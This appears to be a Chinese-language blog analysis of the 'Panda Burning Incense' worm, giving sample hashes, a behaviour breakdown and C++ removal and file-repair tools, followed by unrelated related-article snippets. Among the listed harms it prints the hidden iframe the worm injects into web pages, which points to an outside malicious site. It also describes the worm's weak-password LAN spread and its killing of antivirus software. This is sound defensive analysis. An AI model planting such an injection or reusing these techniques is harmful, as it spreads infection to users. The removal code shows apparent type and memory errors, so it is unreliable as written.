【病毒分析】熊猫烧香病毒分析及其查杀修复
目录
前言
一、样本概况
1.1 样本信息
1.2 测试环境及工具
1.3 分析目标
二、具体行为分析
2.1 主要行为
2.1.1 恶意程序对用户造成的危害
2.2 恶意代码分析
2.2.1 加固后的恶意代码树结构图(是否有加固)
2.2.2 恶意程序的代码分析片段
三、解决方案(或总结)
3.1 提取病毒的特征,利用杀毒软件查杀
3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。
3.3 编写自动查杀工具
3.4 被感染文件修复工具的编写
3.5 总结
前言
“熊猫烧香”病毒作为中国计算机病毒史上的典型案例,曾于2006年底至2007年初肆虐网络,造成大规模破坏。其独特的感染方式和强大的破坏力使其成为网络安全领域的重要研究对象。本文将从病毒的原理、传播方式、查杀方法及修复步骤等方面展开分析,帮助读者深入了解这一病毒及其应对策略。
一、样本概况
1.1 样本信息
病毒名称:(Nimaya)熊猫烧香
所属家族:Virus.Win32.Lamer.gx(卡巴斯基)
MD5 值:B8F8E75C9E77743A61BBEA9CCBCFFD5D
SHA1 值:188FC8FC580C0EA4BF8A8900A3D36471823C8923
SHA256:0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768
SSDeep: 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m CRC32:E63D45D3
病毒行为:
设置注册表自启动,删除服务,修改 PE 文件,自我复制,结束杀软进程,删除杀软启动项,局域网感染,下载病毒执行等。
被感染体特征:
被感染体行为:分离出病毒文件和被感染文件,创建病毒进程,其他行为同原病毒文件。
1.2 测试环境及工具
测试环境:VMvare14 windows7-32 系统
工具:火绒剑,ollydebug,IDA,Hash 计算工具,WSExplorer,010Editor
1.3 分析目标
主要对原病毒样本进行分析,解剖出各种恶意行为的代码。
二、具体行为分析
2.1 主要行为
运行后该病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入各个驱动器,将自身写入写入磁盘的根目录下,增加一个 Autorun.inf 文件,使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接网站下载 ddos 程序进行恶意攻击。
通过云沙箱大概了解该病毒的执行流程如下图:
被感染的程序主要行为流程如下图:
同时,也可以快速了解各种网络请求如下图。
执行原病毒程序后会产生一个新的病毒进程,如 OD 视图所示:
通过火绒剑各种过滤可以大概发现有以下行为:修改启动项和文件隐藏属性
创建和修改 Desktop.ini 文件,写入时间,或设置只读属性及隐藏
注册病毒程序启动项,隐藏病毒文件 setup.exe 和 autorun.inf
偷偷请求网站链接
调试技巧:
使用 OD 动态调试样本,不让样本创建进程,修改 ZF 标志位改变 4082ED 跳转,以便调试之后的感染函数代码以及其他函数代码。如下图所示
现在开始列举熊猫烧香的各种恶意行为如下:行为 1:自我复制
遍历进程找到病毒进程(spo0lsv.exe)就退出并结束掉,CopyFile 到系统目录(C:\Windows\System32\drivers),然后就运行程序(spo0lsv.exe)。
代码位置:sub_40819C
如果运行的是被感染的程序就会执行如下代码:
创建批处理文件功能是判断 spo0lsv.exe 是否存在,从被感染的文件分裂出病毒程序重新执行。
行为 2:使用 net share 命令关闭管理共享
代码位置:sub_40CDEC
行为 3:停止杀软进程
与杀毒软件进行对抗,通过窗口名称或进程名称关闭软件。
代码位置:sub_4061B8
行为 4:删除安全类软件在注册表中的启动项
代码位置:sub_406E44
行为 5:注册表中增加病毒程序启动项
代码位置:TimerFunc 以及行为 6 截图中的代码
行为 6:修改注册表中隐藏文件的设置
行为 7:创建病毒进程请见行为 1 截图
行为 8:创建副本文件
创建行为一中的副本和下面的 Setup.exe 副本
代码位置:TimerFunc
行为 9:局域网传播
连接攻击目标的 139 或 445 端口后,匹配账户名和弱密码,连接成功将副本以 GameSetup.exe 的文件名复制到局域网其他电脑中,具体如下图等。
账户如下:
弱密码如下:
连接攻击 139,445 端口如下:代码位置:sub_40B864
复制 GameSetup.exe 文件名的病毒:
代码位置:sub_40A928
行为 10;感染本地 exe,pif,src,html,asp 等文件
代码位置:sub_409348
行为 11:尝试删除 GHO 备份文件
代码位置:sub_409348
行为 12:禁用删除软件相关服务请见见行为 4 截图
行为 13:下载恶意代码,木马等代码位置:sub_40C9B0
代码位置:sub_40C5E0
2.1.1 恶意程序对用户造成的危害
1、复制病毒体,伪造正常程序
2、感染破坏系统中 exe,com,pif,src,html,asp 等文件,被感染执行体还有传染性。其中页面文件写进的脚本会诱导打开别的网站,注入脚本为
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>。
3、中止大量的反病毒软件进程,删除其服务及启动项,并且会删除扩展名为 gho 的备份文件,设置隐藏文件恢复显示不了。
4、局域网传播感染
5、下载恶意代码并执行
6、向外发包,连接局域网中其他机器。
2.2 恶意代码分析
2.2.1 加固后的恶意代码树结构图(是否有加固)
分析样本已经脱过壳,不过程序执行前部分有不少人为留下的信息,这些应该是病毒制作者与反病毒人员的交流信号,可以忽略。这里可以展示一下该病毒程序的恶意代码执行流程结构图。
2.2.2 恶意程序的代码分析片段
1、总体伪代码和汇编代码框架
2、病毒的自我复制和执行
2、全盘病毒感染和感染个体的细节
遍历磁盘感染:
感染个体文件细节:
代码位置:sub_407F00
先把目标文件读到内存,获取文件名和大小。复制病毒到感染路径覆盖原文件,然后将被感染文件的内容追加到复制出来的病毒文件中后面,接着追加感染标识WhBoy+原文件名+随机数。分析如下:
感染网页文件如下:
OD中调试被解密的密串和解密之后的脚本代码
尝试连接局域网目标445端口:
三、解决方案(或总结)
3.1 提取病毒的特征,利用杀毒软件查杀
3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。

3.3 编写自动查杀工具
#include "KillingTools.h"
#include <iostream>
using namespace std;//根据进程名称获取进程ID
DWORD GetProcessIDByName(const char* pName){HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (INVALID_HANDLE_VALUE == hSnapshot) {return NULL;}PROCESSENTRY32 pe = { sizeof(pe) };for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {USES_CONVERSION;if (strcmp(W2CA(pe.szExeFile), pName) == 0) {CloseHandle(hSnapshot);return pe.th32ProcessID;}}CloseHandle(hSnapshot);return 0;
}//提升权限
BOOL EnablePrivilege(LPCTSTR szPrivilege, BOOL fEnable) {BOOL fOk = FALSE;HANDLE hToken = NULL;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, szPrivilege, &tp.Privileges[0].Luid);tp.Privileges->Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}//计算散列值
DWORD CRC32(BYTE* ptr, DWORD Size){DWORD crcTable[256], crcTmp1;//动态生成CRC-32表for (int i = 0; i < 256; i++){crcTmp1 = i;for (int j = 8; j > 0; j--){if (crcTmp1 & 1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;else crcTmp1 >>= 1;}crcTable[i] = crcTmp1;}//计算CRC32值DWORD crcTmp2 = 0xFFFFFFFF;while (Size--){crcTmp2 = ((crcTmp2 >> 8) & 0x00FFFFFF) ^ crcTable[(crcTmp2 ^ (*ptr)) & 0xFF];ptr++;}return (crcTmp2 ^ 0xFFFFFFFF);
}//遍历删除Desktop_.ini
DWORD WINAPI FindFiles(LPVOID lpszPath){WIN32_FIND_DATA stFindFile;HANDLE hFindFile;// 扫描路径char szPath[MAX_PATH];char szFindFile[MAX_PATH];char szSearch[MAX_PATH];char *szFilter;int len;int ret = 0;szFilter = "*.*";lstrcpy((LPWSTR)szPath, (LPCWSTR)lpszPath);len = lstrlen((LPCWSTR)szPath);if (szPath[len - 1] != '\\'){szPath[len] = '\\';szPath[len + 1] = '\0';}lstrcpy((LPWSTR)szSearch, (LPCWSTR)szPath);lstrcat((LPWSTR)szSearch, (LPCWSTR)szFilter);hFindFile = FindFirstFile((LPCWSTR)szSearch, &stFindFile);if (hFindFile != INVALID_HANDLE_VALUE){do{lstrcpy((LPWSTR)szFindFile, (LPCWSTR)szPath);lstrcat((LPWSTR)szFindFile, stFindFile.cFileName);if (stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){if (stFindFile.cFileName[0] != '.'){FindFiles(szFindFile);}}else{if (!lstrcmp(stFindFile.cFileName, L"Desktop_.ini")){// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szFindFile);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szFindFile, dwFileAttributes);// 删除Desktop_.iniBOOL bRet = DeleteFile((LPCWSTR)szFindFile);cout << szFindFile << endl;if (bRet){cout << "被删除" << endl;}else{cout << "无法删除" << endl;}}}ret = FindNextFile(hFindFile, &stFindFile);} while (ret != 0);}FindClose(hFindFile);return 0;
}int main() {BOOL bRet = FALSE;DWORD dwPid = 0;//进程ID// 提升权限BOOL bRet1 = EnablePrivilege(SE_DEBUG_NAME, TRUE);if (bRet1 == FALSE){cout << "提升权限失败" << endl;}else{cout << "提升权限成功!" << endl;}dwPid = GetProcessIDByName("spo0lsv.exe");if (dwPid != 0) { bRet = 1; }// 结束spo0lsv.exe进程,并删除病毒程序本身if (bRet == TRUE){cout << "查找系统病毒进程..." << endl;cout << "系统中存在病毒进程:spo0lsv.exe" << endl;cout << "准备进行查杀..." << endl;// 打开并尝试结束病毒进程HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (hProcess == INVALID_HANDLE_VALUE){cout << "无法结束病毒进程" << endl;return 0;}bRet = TerminateProcess(hProcess, 0);if (bRet == FALSE){cout << "无法结束病毒进程" << endl;return 0;}cout << "病毒进程已经结束" << endl;CloseHandle(hProcess);}else{cout << "系统中不存在spo0lsv.exe病毒进程" << endl;}Sleep(10);// 查杀磁盘中是否存在名为spo0lsv.exe的病毒文件char szSysPath[MAX_PATH] = { 0 };GetSystemDirectory((LPWSTR)szSysPath, MAX_PATH);lstrcat((LPWSTR)szSysPath, L"\\drivers\\spo0lsv.exe");cout << "检查硬盘中是否存在spo0lsv.exe文件..." << endl;if (GetFileAttributes((LPWSTR)szSysPath) == 0xFFFFFFFF){cout << "spo0lsv.exe病毒文件不存在" << endl;}else{cout << "spo0lsv.exe病毒文件存在,正在计算散列值" << endl;HANDLE hFile = CreateFile((LPWSTR)szSysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE){cout << "Create Error" << endl;return 0;}DWORD dwSize = GetFileSize(hFile, NULL);if (dwSize == 0xFFFFFFFF){cout << "GetFileSize Error" << endl;return 0;}BYTE *pFile = (BYTE*)malloc(dwSize);if (pFile == NULL){cout << "malloc Error" << endl;return 0;}DWORD dwNum = 0;ReadFile(hFile, pFile, dwSize, &dwNum, NULL);// 计算spo0lsv.exe的散列值DWORD dwCrc32 = CRC32(pFile, dwSize);if (pFile != NULL){free(pFile);pFile = NULL;}CloseHandle(hFile);// 3862775251是“熊猫烧香”病毒的散列值if (dwCrc32 != 3862775251){cout << "spo0lsv.exe比较校验失败" << endl;}else{cout << "spo0lsv.exe比较校验成功,正在删除..." << endl;// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSysPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szSysPath, dwFileAttributes);// 删除spo0lsv.exebRet = DeleteFile((LPCWSTR)szSysPath);if (bRet){cout << "spoclsv.exe病毒被删除!" << endl;}else{cout << "spoclsv.exe病毒无法删除" << endl;}}}// 删除每个盘符下的setup.exe与autorun.inf,以及Desktop_.inichar szDriverString[MAXBYTE] = { 0 };char *pTmp = NULL;//获取字符串类型的驱动器列表 GetLogicalDriveStrings(MAXBYTE, (LPWSTR)szDriverString);pTmp = szDriverString;while (*pTmp){char szAutorunPath[MAX_PATH] = { 0 };char szSetupPath[MAX_PATH] = { 0 };lstrcat((LPWSTR)szAutorunPath, (LPCWSTR)pTmp);lstrcat((LPWSTR)szAutorunPath, L"autorun.inf");lstrcat((LPWSTR)szSetupPath, (LPCWSTR)pTmp);lstrcat((LPWSTR)szSetupPath, L"setup.exe");if (GetFileAttributes((LPCWSTR)szSetupPath) == 0xFFFFFFFF){cout << pTmp << " setup.exe病毒文件不存在" << endl;}else{cout << pTmp << " setup.exe病毒文件存在,正在进行计算校验和..." << endl;HANDLE hFile = CreateFile((LPCWSTR)szSetupPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE){cout << "Create Error" << endl;return 0;}DWORD dwSize = GetFileSize(hFile, NULL);if (dwSize == 0xFFFFFFFF){cout << "GetFileSize Error" << endl;return 0;}BYTE *pFile = (BYTE*)malloc(dwSize);if (pFile == NULL){cout << "malloc Error" << endl;return 0;}DWORD dwNum = 0;ReadFile(hFile, pFile, dwSize, &dwNum, NULL);DWORD dwCrc32 = CRC32(pFile, dwSize);if (pFile != NULL){free(pFile);pFile = NULL;}CloseHandle(hFile);if (dwCrc32 != 3862775251){cout << "比较校验失败" << endl;}else{cout << "比较校验成功,正在删除..." << endl;// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSetupPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szSetupPath, dwFileAttributes);// 删除setup.exebRet = DeleteFile((LPCWSTR)szSetupPath);if (bRet){cout << pTmp << " setup.exe病毒已删除!" << endl;}else{cout << pTmp << " setup.exe病毒无法删除" << endl;}}}// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szAutorunPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szAutorunPath, dwFileAttributes);// 删除autorun.infbRet = DeleteFile((LPCWSTR)szAutorunPath);if (bRet){cout << pTmp << " autorun.inf已删除!" << endl;}else{cout << pTmp << " autorun.inf不存在或无法删除" << endl;}// 删除Desktop_.iniFindFiles(pTmp);// 检查下一个盘符pTmp += 4;}// 修复注册表内容,删除病毒启动项并修复文件的隐藏显示cout << "正在检查注册表..." << endl;// 首先检查启动项TCHAR RegRun[] = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");HKEY hKeyHKCU = NULL;LONG lSize = MAXBYTE;char cData[MAXBYTE] = { 0 };long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCWSTR)RegRun, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKCU);if (lRet == ERROR_SUCCESS){lRet = RegQueryValueEx(hKeyHKCU, L"svcshare", NULL, NULL, (unsigned char *)cData, (unsigned long *)&lSize);if (lRet == ERROR_SUCCESS){if (lstrcmp((LPCWSTR)cData, L"C:\\WINDOWS\\system32\\drivers\\spo0lsv.exe") == 0){cout << "注册表启动项中存在病毒信息项" << endl;}lRet = RegDeleteValue(hKeyHKCU, L"svcshare");if (lRet == ERROR_SUCCESS){cout << "注册表启动项中的病毒信息已删除!" << endl;}else{cout << "注册表启动项中的病毒信息无法删除" << endl;}}else{cout << "注册表启动项中不存在病毒信息" << endl;}RegCloseKey(hKeyHKCU);}else{cout << "注册表启动项信息读取失败" << endl;}// 接下来修复文件的隐藏显示,需要将CheckedValue的值设置为1TCHAR RegHide[] = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL");HKEY hKeyHKLM = NULL;DWORD dwFlag = 1;long lRetHide = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCWSTR)RegHide, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKLM);if (lRetHide == ERROR_SUCCESS){cout << "检测注册表的文件隐藏选项..." << endl;if (ERROR_SUCCESS == RegSetValueEx(hKeyHKLM, //subkey handle L"CheckedValue", //value name 0, //must be zero REG_DWORD, //value type (CONST BYTE*)&dwFlag, //pointer to value data 4)) //length of value data{cout << "注册表修复完毕!" << endl;}else{cout << "无法恢复注册表的文件隐藏选项" << endl;}}cout << "病毒初步查杀完成,请使用专业杀毒软件进行全面扫描!" << endl;system("pause");return 0;
}
3.4 被感染文件修复工具的编写
#include <stdio.h>
#include "stdlib.h"
#include <windows.h>//str1中寻找str2的位置
int findsub(char *str1, char *str2, long sizes)
{int i = 0, j = 0;while (sizes - i) //多少个字符长度就执行多少次{for (; str1[i] != str2[0]; i++);//后面每个字符比较都不相等就i++if (str1[i] == str2[0])//判断首次相等{for (j = 0; str1[i + j] == str2[j]; j++);//后面每个字符比较都相等就j++if (str2[j] == '\0')//直到把字符串2都比较完都相等return i + 1; // 返回字符串2中出现字符串1的第一个位置}i++; //不相等就继续往后走}return -1;//如果没有找到合适的返回-1.
}//恢复被感染文件为正常文件
void recover(int pos1, int pos2) {FILE *in, *out;char ch;//打开源文件Exam1.exeif ((in = fopen("Exam1.exe", "rb")) == NULL){printf("The file %s can not be opened.\n", "Exam1.exe");return;}//创建修复文件Exam2.exeif ((out = fopen("Exam2.exe", "wb")) == NULL){printf("The file %s can not be opened.\n", "Exam2.exe");return;}int i = 0;while (!feof(in))//判断文本结束{ch = fgetc(in);//读取一个字符if (ferror(in)){printf("read error!\n");clearerr(in);}else{//写入特定位置的字符if (pos1 <= i&&i <= pos2)fputc(ch, out);i++;//移动位置if (ferror(out))//ferror函数检查输出{printf("write error!\n");//文件错误标志和文件结束标志置为0clearerr(out);}}}//关闭文件流fclose(in);fclose(out);
}void main()
{FILE *f = fopen("Exam1.exe", "rb");fseek(f, 0, SEEK_END);long fsize = ftell(f);//获取源文件大小fseek(f, 0, SEEK_SET);fclose(f);//用于存储源文件内容char *string = (char*)malloc(fsize + 1);FILE *in, *out;char ch;if ((in = fopen("Exam1.exe", "rb")) == NULL){printf("The file %s can not be opened.\n", "Exam1.exe");return;}int i = 0;while (!feof(in)){ch = fgetc(in);if (ferror(in)){printf("read error!\n");clearerr(in);}else{//一个个字符保存string[i] = ch;i++;}}fclose(in);//保存正常文件的MZ头位置int count1 = findsub(string, "This", fsize + 1) - 79;//保存感染标志位WhBoyExam1的位置int count2 = findsub(string, "WhBoyExam1", fsize + 1) - 2;//开始修复文件recover(count1, count2);//释放内存delete string;//删除病毒文件DeleteFile(L"Exam1.exe");system("pause");
}
3.5 总结
相关文章:
【病毒分析】熊猫烧香病毒分析及其查杀修复
目录 前言 一、样本概况 1.1 样本信息 1.2 测试环境及工具 1.3 分析目标 二、具体行为分析 2.1 主要行为 2.1.1 恶意程序对用户造成的危害 2.2 恶意代码分析 2.2.1 加固后的恶意代码树结构图(是否有加固) 2.2.2 恶意程序的代码分析片段 三、解决方案(或总结) 3.1 …...
K8s 1.27.1 实战系列(九)Volume
一、Volume介绍 Volume 指的是存储卷,包含可被Pod中容器访问的数据目录。容器中的文件在磁盘上是临时存放的,当容器崩溃时文件会丢失,同时无法在多个Pod中共享文件,通过使用存储卷可以解决这两个问题。 1、Volume 的核心作用 数据持久化与生命周期管理 Volume 的核心目标…...
火绒企业版V2.0全面支持Linux与国产化系统!免费试用助力国产化终端安全升级
国产化浪潮下的安全新挑战 随着信创产业的加速推进,国产操作系统(统信UOS、麒麟OS等)和ARM架构服务器逐步成为政企核心业务的基础设施。然而,针对国产化系统的勒索攻击、网页篡改、供应链漏洞等威胁频发,传统安全方案…...
黑色RGB是什么
>好的,用户现在问的是“黑色rgb是什么”。我需要先理解用户的问题。之前用户在使用MATLAB调整网格线颜色时,可能看到了默认颜色是黑色,或者之前我提到过默认颜色是[0.15 0.15 0.15],而用户可能现在想知道黑色的RGB值具体是什么…...
基于springboot+vue的佳途旅行分享预约平台
一、系统架构 前端:vue2 | element-ui | html 后端:springboot | mybatis-plus 环境:jdk1.8 | mysql | maven | node 二、代码及数据库 三、功能介绍 01. web端-注册 02. web端-登录 03. web端-系统主页1 04. web端-系统主页2 05. we…...
Nuxt3 ssr build/dev时区分不同的环境
package.json "scripts": {"build": "nuxt build --dotenv .env.prod","build:dev": "nuxt build --dotenv .env.dev","postbuild": "mv -f .output ./dist/.output", //支持自定义文件名"dev&quo…...
利用OpenResty拦截SQL注入
需求 客户的一个老项目被相关部门检测不安全,报告为sql注入。不想改代码,改项目,所以想到利用nginx去做一些数据校验拦截。也就是前端传一些用于sql注入的非法字符或者数据库的关键字这些,都给拦截掉,从而实现拦截sql…...
保姆级别使用Python实现“机器学习“案例
从安装到运行手把手教学,保证不迷路~ 🌈 零基础友好版教程 📦 第一步:安装必备工具包 别慌!这里有两种安装方式,选你顺手的 方式1:用代码自动安装(推荐新手) 直接在你的Python代码最前面加这几行,运行时会自动安装: # 把这坨代码贴在文件最前面! import sys im…...
【最新】DeepSeek 实用集成工具有那些?
deepseek 系列github仓库地址 【主页】deepseek-aiDeepSeek-R1DeepSeek-V3DeepSeek-VL2【本文重点介绍】awesome-deepseek-integration 注意:以下内容来自awesome-deepseek-integration DeepSeek 实用集成(awesome-deepseek-integration) 将…...
【前端面试题】Vu3常见的面试题
1.Vue3与 Vue2的核心区别有哪些? 响应式系统 : Vue2:通过Object.defineProperty 实现响应式。这种方式在处理对象属性的添加和删除时存在局限性,且无法直接监控数组的变化 ;Vue3:采用Proxy 实现响应式&…...
论文阅读分享——UMDF(AAAI-24)
概述 题目:A Unified Self-Distillation Framework for Multimodal Sentiment Analysis with Uncertain Missing Modalities 发表:The Thirty-Eighth AAAI Conference on Artificial Intelligence (AAAI-24) 年份:2024 Github:暂…...
JavaWeb——Mybatis、JDBC、数据库连接池、lombok
一、Mybatis 目录 一、Mybatis 二、JDBC 三、数据库连接池 1.概述 2.优势 3.标准接口 4.常见产品 四、lombok 1.概述 2.导入依赖 3.注解 创建步骤: 1.准备工作(创建springboot工程、数据库表user、实体类User) 2.引入Mybatis的相关依赖&am…...
【网络安全工程】任务12:网络安全设备
目录 一、防火墙 1、作用 2、配置方式 3、存在的漏洞 二、入侵检测系统(IDS)和入侵防御系统(IPS) 1、作用 2、配置方式 3、存在的漏洞 三、防病毒网关 1、作用 2、配置方式 3、存在的漏洞 …...
【学习笔记】《逆向工程核心原理》02.小段标记法、IA-32寄存器、栈、abex‘crackme、栈帧
文章目录 1. 字节序1.1. 大端序与小端序1.2. 在OllyDbg中查看小端序 2.IA-32寄存器2.1. 什么是CPU寄存器2.2. IA-32寄存器2.2.1. 通用寄存器2.2.2. 段寄存器2.2.3. 程序状态与控制寄存器2.2.4. 指令指针寄存器 3. 栈1.1. 栈的特征3.1.2. 栈操作实例 4. abexcrackme4.1. 开始调试…...
固定表头、首列 —— uniapp、vue 项目
项目实地:也可以在 【微信小程序】搜索体验:xny.handbook 另一个体验项目:官网 一、效果展示 二、代码展示 (1)html 部分 <view class"table"><view class"tr"><view class&quo…...
用友U9二次开发-问题记录
学习资料:链接: https://pan.baidu.com/s/13JbKSSRkSn2V6-dYX5zKFQ 提取码: p9at 页面 &__dmtrue 客开插件 &Admintrue 开发者使用查看代码 插件 UI插件配置项 1.关闭热插拔 2.在configuration节点下加配置,多个在Web…...
python---pickle库
pickle库 pickle 是 Python 标准库中的一个模块,它可以将 Python 对象(如列表、字典、类实例等)转换为字节流,这个过程称为“序列化”;反之,也可以将字节流转换回 Python 对象,这个过程称为“反…...
如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统
我在业余时间开发了一款自己的独立产品:升讯威在线客服与营销系统。陆陆续续开发了几年,从一开始的偶有用户尝试,到如今线上环境和私有化部署均有了越来越多的稳定用户。 随时近来 AI 大模型的火热,越来越多的客户,问…...
论文阅读 GMM-JCSFE Model(EEG Microstate)
Motor Imagery Recognition Based on GMM-JCSFE Model 1.问题与困境 1.1 微状态 将连续的EEG信号分解为一系列短暂的、稳定的“微状态”,每个微状态代表了大脑在特定时间窗口内的特定功能。微状态模型的核心思想是,大脑的活动可以看作是由一系列离散的…...
[杂学笔记] TCP和UDP的区别,对http接口解释 , Cookie和Session的区别 ,http和https的区别 , 智能指针 ,断点续传
文章目录 1. TCP和UDP的区别2. 对http接口解释3. Cookie和Session的区别4. http和https的区别5. 智能指针6.断点续传 1. TCP和UDP的区别 tcp的特点: 面向连接,可靠性高,全双工,面向字节流udp特点:无连接,不…...
Etcd的安装与使用
1.Etcd介绍 Etcd 是一个 golang 编写的分布式、高可用的一致性键值存储系统,用于配置共享和服 务发现等。它使用 Raft 一致性算法来保持集群数据的一致性,且客户端通过长连接 watch 功能,能够及时收到数据变化通知。 以下 是关于 …...
ROS实践(四)机器人建图及导航
一、概念 机器人导航是指机器人在环境中自主地从一个地点移动到另一个地点的过程。这个过程涉及到多个关键技术,包括定位、路径规划、避障等。机器人导航通常包括以下几个重要部分。 1. 定位 定位是机器人确定自己在环境中的位置的过程。常用的定位方法包括…...
Excel 中如何实现数据透视表?
Excel 中如何实现数据透视表? 数据透视表(PivotTable)是 Excel 中强大的数据分析工具,能够快速汇总、分析和展示大量数据。本文将详细介绍如何在 Excel 中创建和使用数据透视表。 1. 数据透视表的基本概念 数据透视表是一种交互…...
SQLiteStudio:一款免费开源跨平台的SQLite管理工具
目录 1.简介 2.下载与安装 3.实现分析 4.总结 1.简介 SQLiteStudio 是一款专门用于管理 SQLite 数据库的图形化工具,由波兰开发者开发并维护。由于 SQLite 以其轻量级、零配置、嵌入式等特性被广泛应用于各种小型项目、移动应用和桌面应用中,而 SQLi…...
实现Django和Transformers 构建智能客服大模型(模拟订单系统)
一、环境安装准备 #git拉取 bert-base-chinese 文件#创建 虚拟运行环境python -m venv myicrplatenv#刷新source myicrplatenv/bin/activate#python Django 集成nacospip install nacos-sdk-python#安装 Djangopip3 install Django5.1#安装 pymysql settings.py 里面需要 # 强制…...
【沐渥科技】氮气柜日常如何维护?
氮气柜的维护是确保其长期稳定运行、延长使用寿命和保持环境控制精度的关键。以下是沐渥氮气柜的日常维护和定期保养指南: 一、日常维护 柜体清洁 定期用软布擦拭柜体表面和内部,避免灰尘堆积。避免使用腐蚀性清洁剂,防止损伤密封条或传感器。…...
数据安全之策:备份文件的重要性与自动化实践
在信息化高速发展的今天,数据已成为企业运营和个人生活中不可或缺的重要资源。无论是企业的财务报表、客户资料,还是个人的家庭照片、学习笔记,数据的丢失或损坏都可能带来无法挽回的损失。因此,备份文件的重要性日益凸显…...
windows下玩转vllm:vllm简介;Windows下不能直接装vllm;会报错ModuleNotFoundError: No module named ‘vllm._C‘
文章目录 -1. Windows下不能直接装vllm前言ollama vs vllmOllamavLLMvllm简介核心特点PagedAttention内存优化高效推理应用场景安装与使用-1. Windows下不能直接装vllm 我其实很久之前就意识到这个事儿,后来太久没搞就又忘了。 昨天忙活了半宿,得来的确实一个无法解决的报错…...
目录《Vue 3 + TypeScript + DeepSeek 全栈开发实战》
在快速迭代的软件开发世界里,技术的融合与创新始终是推动行业前行的不竭动力。今天,我们站在了前端技术与大数据搜索技术交汇的十字路口,手中的工具不再仅仅是编码的利器,更是解锁未来应用无限可能的钥匙。正是基于这样的时代背景…...
for...of的用法与介绍
一、定义 for...of 是 ES6(ECMAScript 2015)引入的一种用于 遍历可迭代对象(Iterable)的循环语句 二、语法 for (const item of iterable) {// 代码块 }参数: iterable:一个可迭代对象(如数组…...
快速使用PPASR V3版不能语音识别框架
前言 本文章主要介绍如何快速使用PPASR语音识别框架训练和推理,本文将致力于最简单的方式去介绍使用,如果使用更进阶功能,还需要从源码去看文档。仅需三行代码即可实现训练和推理。 源码地址:https://github.com/yeyupiaoling/P…...
Aliyun CTF 2025 web ezoj
文章目录 ezoj ezoj 进来一看是算法题,先做了试试看,gpt写了一个高效代码通过了 通过后没看见啥,根据页面底部提示去/source看到源代码,没啥思路,直接看wp吧,跟算法题没啥关系,关键是去看源码 def audit_checker(even…...
推理模型对SQL理解能力的评测:DeepSeek r1、GPT-4o、Kimi k1.5和Claude 3.7 Sonnet
引言 随着大型语言模型(LLMs)在技术领域的应用日益广泛,评估这些模型在特定技术任务上的能力变得越来越重要。本研究聚焦于四款领先的推理模型——DeepSeek r1、GPT-4o、Kimi k1.5和Claude 3.7 Sonnet在SQL理解与分析方面的能力,…...
【H2O2 | 软件开发】事件循环机制
目录 前言 开篇语 准备工作 正文 概念 流程 事件队列类型 示例 结束语 前言 开篇语 本系列为短篇,每次讲述少量知识点,无需一次性灌输太多的新知识点。该主题文章主要是围绕前端、全栈开发相关面试常见问题撰写的,希望对诸位有所帮…...
LVTTL(Low Voltage Transistor-Transistor Logic)电平详解
一、LVTTL电平的定义与核心特性 LVTTL(低压晶体管-晶体管逻辑)是传统TTL(5V)的低电压版本,工作电压通常为3.3V,旨在降低功耗并适配现代低电压集成电路,同时保持与TTL的逻辑兼容性。其核心特点如…...
Manus:成为AI Agent领域的标杆
